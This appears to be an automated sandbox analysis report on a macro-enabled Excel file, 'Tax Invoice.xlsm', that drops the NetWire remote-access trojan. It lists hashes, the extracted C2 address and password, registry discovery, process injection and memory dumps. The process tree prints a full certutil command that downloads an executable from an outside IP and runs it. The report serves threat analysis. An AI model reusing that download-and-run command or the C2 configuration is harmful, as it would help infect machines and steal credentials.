netwire | c0ca12020d7bf51209e7ac026fdfd71f55b97053985b061de24879069c96910c

General

Target

Tax Invoice.xlsm
Size

42KB
MD5

1a5f56600a34c20305f85f2cd0fdfbdf
SHA1

d37b42fd8d23e2fbdaebb55012fd028525e4e72c
SHA256

c0ca12020d7bf51209e7ac026fdfd71f55b97053985b061de24879069c96910c
SHA512

630cf26791900e941843a5e94308031c1e3dab8f60836e395e06f2c0a5fd11bf2beac5115429068276ff9fe1ffdb07d3a49b24029911da8016d490aadcc331d8
SSDEEP

768:IvjsCvCssn3uBIJYfTH+niSpKvDH7Nv+nWhFFiKk/f7qtNhTxRB+nE2g7d:IvDvCT3uG1ByT7Nv+qFFi3/jqLxxyE2g

Score

10^/10

netwire botnet rat stealer

Malware Config

Extracted

Family

netwire

C2

212.193.30.230:3345

Attributes

activex_autorun
false
copy_executable
false
delete_original
false
host_id
HostId-%Rand%
keylogger_dir
%AppData%\Logs\
lock_executable
false
offline_keylogger
true
password
Password@9
registry_autorun
false
use_mutex
false

Signatures

NetWire RAT payload 4 IoCs

rat

Processes:

resource	yara_rule
behavioral2/memory/1940-160-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/1940-163-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/1940-164-0x0000000000400000-0x0000000000433000-memory.dmp	netwire
behavioral2/memory/1940-165-0x0000000000400000-0x0000000000433000-memory.dmp	netwire

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4308	2636	cmd.exe	EXCEL.EXE

Downloads MZ/PE file
Executes dropped EXE 2 IoCs

Processes:

Niipxzvceptnltqinb.exe.exeNiipxzvceptnltqinb.exe.exe

pid process

5084 Niipxzvceptnltqinb.exe.exe
1940 Niipxzvceptnltqinb.exe.exe

pid	process
5084	Niipxzvceptnltqinb.exe.exe
1940	Niipxzvceptnltqinb.exe.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Niipxzvceptnltqinb.exe.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	Niipxzvceptnltqinb.exe.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

Niipxzvceptnltqinb.exe.exe

description pid process target process

PID 5084 set thread context of 1940 5084 Niipxzvceptnltqinb.exe.exe Niipxzvceptnltqinb.exe.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

description	pid	process	target process
PID 5084 set thread context of 1940	5084	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

1540 PING.EXE
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2636 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

1444 powershell.exe
1444 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

Niipxzvceptnltqinb.exe.exepowershell.exe

description pid process

Token: SeDebugPrivilege 5084 Niipxzvceptnltqinb.exe.exe
Token: SeDebugPrivilege 1444 powershell.exe

pid	process
1540	PING.EXE

pid	process
1444	powershell.exe
1444	powershell.exe

description	pid	process
Token: SeDebugPrivilege	5084	Niipxzvceptnltqinb.exe.exe
Token: SeDebugPrivilege	1444	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

Processes:

EXCEL.EXE

pid	process
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE
2636	EXCEL.EXE

Suspicious use of WriteProcessMemory 27 IoCs

Processes:

EXCEL.EXEcmd.exeNiipxzvceptnltqinb.exe.execmd.exe

description	pid	process	target process
PID 2636 wrote to memory of 4308	2636	EXCEL.EXE	cmd.exe
PID 2636 wrote to memory of 4308	2636	EXCEL.EXE	cmd.exe
PID 4308 wrote to memory of 2108	4308	cmd.exe	certutil.exe
PID 4308 wrote to memory of 2108	4308	cmd.exe	certutil.exe
PID 4308 wrote to memory of 5084	4308	cmd.exe	Niipxzvceptnltqinb.exe.exe
PID 4308 wrote to memory of 5084	4308	cmd.exe	Niipxzvceptnltqinb.exe.exe
PID 4308 wrote to memory of 5084	4308	cmd.exe	Niipxzvceptnltqinb.exe.exe
PID 5084 wrote to memory of 4496	5084	Niipxzvceptnltqinb.exe.exe	cmd.exe
PID 5084 wrote to memory of 4496	5084	Niipxzvceptnltqinb.exe.exe	cmd.exe
PID 5084 wrote to memory of 4496	5084	Niipxzvceptnltqinb.exe.exe	cmd.exe
PID 4496 wrote to memory of 1540	4496	cmd.exe	PING.EXE
PID 4496 wrote to memory of 1540	4496	cmd.exe	PING.EXE
PID 4496 wrote to memory of 1540	4496	cmd.exe	PING.EXE
PID 5084 wrote to memory of 1444	5084	Niipxzvceptnltqinb.exe.exe	powershell.exe
PID 5084 wrote to memory of 1444	5084	Niipxzvceptnltqinb.exe.exe	powershell.exe
PID 5084 wrote to memory of 1444	5084	Niipxzvceptnltqinb.exe.exe	powershell.exe
PID 5084 wrote to memory of 1940	5084	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 5084 wrote to memory of 1940	5084	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 5084 wrote to memory of 1940	5084	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 5084 wrote to memory of 1940	5084	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 5084 wrote to memory of 1940	5084	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 5084 wrote to memory of 1940	5084	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 5084 wrote to memory of 1940	5084	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 5084 wrote to memory of 1940	5084	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 5084 wrote to memory of 1940	5084	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 5084 wrote to memory of 1940	5084	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe
PID 5084 wrote to memory of 1940	5084	Niipxzvceptnltqinb.exe.exe	Niipxzvceptnltqinb.exe.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Tax Invoice.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2636

C:\Windows\SYSTEM32\cmd.exe
cmd /c certutil.exe -urlcache -split -f "http://192.3.194.246/ecs.exe" Niipxzvceptnltqinb.exe.exe && Niipxzvceptnltqinb.exe.exe
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:4308

C:\Windows\system32\certutil.exe
certutil.exe -urlcache -split -f "http://192.3.194.246/ecs.exe" Niipxzvceptnltqinb.exe.exe
3⤵
PID:2108

C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
Niipxzvceptnltqinb.exe.exe
3⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5084

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c ping google.com
4⤵
- Suspicious use of WriteProcessMemory
PID:4496

C:\Windows\SysWOW64\PING.EXE
ping google.com
5⤵
- Runs ping.exe
PID:1540

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAwAA==
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1444

C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
4⤵
- Executes dropped EXE
PID:1940

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Remote System Discovery

1

T1018

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
Filesize
7KB

MD5
828988c5e283c07b481aae790b9f1664

SHA1
68240ab5ec927d8ee2af027110faee0f2531c828

SHA256
44676f7732f4e6adfe2ba94d8e7dbaf4f6bf9d46f81118081f0f3a64f3fcb133

SHA512
1a40e9d93a7689a9cce3bc3255b92cc2c9456efc6ebe246dfc6d2a8abeea137cd79469e0565a785bf6f4a2b79559297cf54b1e75d521b8a4df03e4cda6fe0a8d

Download Submit
C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
Filesize
7KB

MD5
828988c5e283c07b481aae790b9f1664

SHA1
68240ab5ec927d8ee2af027110faee0f2531c828

SHA256
44676f7732f4e6adfe2ba94d8e7dbaf4f6bf9d46f81118081f0f3a64f3fcb133

SHA512
1a40e9d93a7689a9cce3bc3255b92cc2c9456efc6ebe246dfc6d2a8abeea137cd79469e0565a785bf6f4a2b79559297cf54b1e75d521b8a4df03e4cda6fe0a8d

Download Submit
C:\Users\Admin\Documents\Niipxzvceptnltqinb.exe.exe
Filesize
7KB

MD5
828988c5e283c07b481aae790b9f1664

SHA1
68240ab5ec927d8ee2af027110faee0f2531c828

SHA256
44676f7732f4e6adfe2ba94d8e7dbaf4f6bf9d46f81118081f0f3a64f3fcb133

SHA512
1a40e9d93a7689a9cce3bc3255b92cc2c9456efc6ebe246dfc6d2a8abeea137cd79469e0565a785bf6f4a2b79559297cf54b1e75d521b8a4df03e4cda6fe0a8d

Download Submit
memory/1444-157-0x0000000007DB0000-0x000000000842A000-memory.dmp

Filesize
6.5MB

Download
memory/1444-154-0x0000000005E90000-0x0000000005EF6000-memory.dmp

Filesize
408KB

Download
memory/1444-151-0x0000000000000000-mapping.dmp

Download
memory/1444-152-0x0000000004F90000-0x0000000004FC6000-memory.dmp

Filesize
216KB

Download
memory/1444-158-0x0000000006A50000-0x0000000006A6A000-memory.dmp

Filesize
104KB

Download
memory/1444-153-0x00000000056F0000-0x0000000005D18000-memory.dmp

Filesize
6.2MB

Download
memory/1444-156-0x0000000006560000-0x000000000657E000-memory.dmp

Filesize
120KB

Download
memory/1444-155-0x0000000005F00000-0x0000000005F66000-memory.dmp

Filesize
408KB

Download
memory/1540-149-0x0000000000000000-mapping.dmp

Download
memory/1940-165-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/1940-164-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/1940-163-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/1940-159-0x0000000000000000-mapping.dmp

Download
memory/1940-160-0x0000000000400000-0x0000000000433000-memory.dmp

Filesize
204KB

Download
memory/2108-140-0x0000000000000000-mapping.dmp

Download
memory/2636-138-0x00007FF80F3E0000-0x00007FF80F3F0000-memory.dmp

Filesize
64KB

Download
memory/2636-133-0x00007FF811CF0000-0x00007FF811D00000-memory.dmp

Filesize
64KB

Download
memory/2636-134-0x00007FF811CF0000-0x00007FF811D00000-memory.dmp

Filesize
64KB

Download
memory/2636-135-0x00007FF811CF0000-0x00007FF811D00000-memory.dmp

Filesize
64KB

Download
memory/2636-136-0x00007FF811CF0000-0x00007FF811D00000-memory.dmp

Filesize
64KB

Download
memory/2636-137-0x00007FF80F3E0000-0x00007FF80F3F0000-memory.dmp

Filesize
64KB

Download
memory/2636-132-0x00007FF811CF0000-0x00007FF811D00000-memory.dmp

Filesize
64KB

Download
memory/4308-139-0x0000000000000000-mapping.dmp

Download
memory/4496-148-0x0000000000000000-mapping.dmp

Download
memory/5084-146-0x00000000057C0000-0x0000000005852000-memory.dmp

Filesize
584KB

Download
memory/5084-141-0x0000000000000000-mapping.dmp

Download
memory/5084-144-0x0000000000D90000-0x0000000000D98000-memory.dmp

Filesize
32KB

Download
memory/5084-145-0x0000000005D70000-0x0000000006314000-memory.dmp

Filesize
5.6MB

Download
memory/5084-150-0x0000000008970000-0x0000000008992000-memory.dmp

Filesize
136KB

Download
memory/5084-147-0x00000000068F0000-0x00000000068FA000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads